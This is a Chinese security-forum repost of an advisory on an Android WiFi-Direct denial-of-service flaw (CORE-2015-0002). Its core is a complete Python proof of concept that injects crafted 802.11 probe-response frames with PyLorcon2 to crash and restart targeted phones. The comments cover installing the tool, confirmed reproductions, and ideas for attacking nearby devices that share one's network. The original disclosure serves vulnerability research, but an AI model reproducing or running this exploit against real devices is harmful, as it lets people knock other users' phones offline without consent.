[CORE-2015-0002] – 安卓Wifi直连拒绝服务漏洞

  • A+
所属分类:WooYun-Zone

[CORE-2015-0002] – Android WiFi-Direct Denial of Service

http://seclists.org/fulldisclosure/2015/Jan/104

部分安卓设备在搜索Wifi直连设备时可遭受拒绝服务攻击

攻击者可以发送一个精心构造的802.11响应信号帧 使Dalvik子系统由于WiFiMonitor类中未捕获的异常而重启

受影响设备版本:

   . Nexus 5 – Android 4.4.4

   . Nexus 4 – Android 4.4.4

   . LG D806 – Android 4.2.2

   . Samsung SM-T310 – Android 4.2.2

   . Motorola RAZR HD – Android 4.1.2

在4.4.4系统上复现成功

由于安卓官方回应“该漏洞影响较小,没有时间修复”,目前该漏洞没有任何补丁

POC:

#!/usr/bin/env python

import sys

import time

import struct

import PyLorcon2

def get_probe_response(source, destination, channel):

  frame = str()

  frame += "\x50\x00"  # Frame Control

  frame += "\x00\x00"  # Duration

  frame += destination

  frame += source

  frame += source

  frame += "\x00\x00"  # Sequence Control

  frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp

  frame += "\x64\x00"  # Beacon Interval

  frame += "\x30\x04"  # Capabilities Information

  # SSID IE

  frame += "\x00"

  frame += "\x07"

  frame += "DIRECT-"

  # Supported Rates

  frame += "\x01"

  frame += "\x08"

  frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C"

  # DS Parameter Set

  frame += "\x03"

  frame += "\x01"

  frame += struct.pack("B", channel)

  # P2P

  frame += "\xDD"

  frame += "\x27"

  frame += "\x50\x6F\x9A"

  frame += "\x09"

  # P2P Capabilities

  frame += "\x02" # ID

  frame += "\x02\x00" # Length

  frame += "\x21\x00"

  # P2P Device Info

  frame += "\x0D" # ID

  frame += "\x1B\x00" # Length

  frame += source

  frame += "\x01\x88"

  frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05"

  frame += "\x00"

  frame += "\x10\x11"

  frame += "\x00\x06"

  frame += "fafa\xFA\xFA"

  return frame

def str_to_mac(address):

  return "".join(map(lambda i: chr(int(i, 16)), address.split(":")))

if __name__ == "__main__":

  if len(sys.argv) != 3:

    print "Usage:"

    print "  poc.py <iface> <target>"

    print "Example:"

    print "  poc.py wlan0 00:11:22:33:44:55"

    sys.exit(-1)

  iface = sys.argv[1]

  destination = str_to_mac(sys.argv[2])

  context = PyLorcon2.Context(iface)

  context.open_injmon()

  channel = 1

  source = str_to_mac("00:11:22:33:44:55")

  frame = get_probe_response(source, destination, channel)

  print "Injecting PoC."

  for i in range(100):

    context.send_bytes(frame)

    time.sleep(0.100)

运行poc,在 设置-wlan-右下按钮wlan直连-搜索设备时触发漏洞,系统重启

  1. 1#

    todaro (学习装逼) | 2015-01-29 12:17

    谷歌不是不认为这是漏洞吗。。。。。

  2. 2#

    龍 、 | 2015-01-29 12:25

    谷歌不是不认为这是漏洞吗。。。。

  3. 3#

    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-29 12:33

    PyLorcon2 安装不上去

  4. 4#

    lxj616 (简介) | 2015-01-29 14:56

    @mango apt-get install libpcap0.8-dev libnl-dev
    git clone https://code.google.com/p/lorcon
    cd lorcon
    ./configure
    make
    make install
    cp /usr/local/lib/liborcon2-2.0.0.so /usr/lib/
    cd pylorcon2
    python setup.py build
    python setup.py install

  5. 5#

    泳少 (此号被射!by U神) | 2015-01-29 15:15

    @lxj616 能求个VPN上谷歌么~

  6. 6#

    lxj616 (简介) | 2015-01-29 15:29

    @泳少 自己搭VPS是正解

  7. 7#

    keke (秒杀各种装逼犯) | 2015-01-29 15:42

    谷歌不是不认为这是漏洞吗。。。。

  8. 8#

    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-29 23:25

    @lxj616 不行。。。。 – - 老是出错

  9. 9#

    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 00:41

    @lxj616 攻击者可以发送一个精心构造的802.11响应信号帧是不是需要网卡的。。。才能发送啊

  10. 10#

    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 01:19

    OK  复现了

  11. 11#

    刘海哥 (‮moc.ghuil.www) | 2015-01-30 10:23

    不知道怎么利用…

  12. 12#

    whale | 2015-01-30 10:26

    @mango 你怎么操作的?是在kali上随便插一个无线网卡,制造接入点,然后运行poc,让安卓连接?

  13. 13#

    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 12:37

    @whale 前提是安卓手机必须 要链接你的wifi  找到他的mac 地址 然后才能进行攻击

  14. 14#

    whale | 2015-01-30 15:43

    @mango 也就是安卓手机上运行kali,然后用kali的py平台运行这个脚本,让其他安卓手机连接我的安卓接入点,就可以进行移动重启炮台了。。。

  15. 15#

    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 16:10

    @whale  - -这个。。。好高科技啊  我是自己另外拿网卡插上PC 然后PC运行kali 手机和电脑都连接这路由~~~
    然后攻击~

  16. 16#

    Jumbo (www.chinabaiker.com) | 2015-01-30 20:41

    @mango 如何安装PyLorcon2 模块

  17. 17#

    sin | 2015-01-30 20:55

    @Jumbo 4楼不就是么?git要从google翻墙.  google的git kali貌似用proxychains挂了.我是直线下载解压的.
    翻墙是必须技能额.

  18. 18#

    Jumbo (www.chinabaiker.com) | 2015-01-30 21:06

    @sin 谢谢,我试试

  19. 19#

    whale | 2015-01-30 21:17

    用nexus5做靶机测试成功,不过实现条件比较苛刻,基本上没人会用wlan直连功能吧,普通使用wlan连接的话就不会受影响

  20. 20#

    sin | 2015-01-30 21:17

    小米2s复现:
    系统:kali   笔记本本:网卡wlan0
    拓扑结构:MI2S KALI连接同一台路由器.
    执行:   python wifi.py wlan0 M2s_mac

    貌似有点鸡肋额,要自插才会挂.配合wifi登录时的操作?精心构造一个包过去?
    大牛们努力下,移动炮台说不定真有可能哦.看谁还敢抢我的网.  :-)

  21. 21#

    Jumbo (www.chinabaiker.com) | 2015-01-30 21:18

    如果kali没有无线网卡的话,是不是读不到wifi?

  22. 22#

    Jumbo (www.chinabaiker.com) | 2015-01-30 21:21

    @sin 那可不可以这样,让我们的攻击机连上公共wifi,然后运行POC呢?

  23. 23#

    sin | 2015-01-30 21:34

    @Jumbo 感觉还是有诸多限制的.
    1.目标选择wifi直连方式.(基本不会有人手贱这样连接的)
    2.获取target的mac地址.或许不难.
    3.运行poc.要有mac(设备要有网卡)
    最好是在一次wifi认证中依次完成这3个步骤  2—>3—>1
    或许在伪造wifi的过程中,可以来点小动作…..

  24. 24#

    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 21:48

    @sin   1.  不是没人手贱 你忘了现在很多手机有个功能叫做多屏互动??

        2. 连接你wifi了 获取MAC很简单

    3. 网卡也不难啊???

  25. 25#

    sin | 2015-01-30 21:58

    @mango 额,我的是有诸多限制和下文没多大联系,123是想表示那个流程…
    感觉就wifi直连困难,其他都好说.

  26. 26#

    mango (待我乌币800万 姑娘嫁我可好) | 2015-01-30 22:55

    @sin 这种漏洞最早出现在网卡芯片上 当年 iPhone 全系列崩溃~~~

  27. 27#

    hqdvista (…) | 2015-01-30 23:20

    确实wlan直连比较罕见

  28. 28#

    winalva | 2015-02-02 10:15

    windows下能用不。。。@lxj616

  29. 29#

    瘦蛟舞 | 2015-02-02 11:19

    @hqdvista 至今没用过这个功能….

  30. 30#

    exploits (As We Do , As You Know !) | 2015-02-02 13:17

    6

  31. 31#

    lxj616 (简介) | 2015-02-02 13:17

    @winalva 没有试过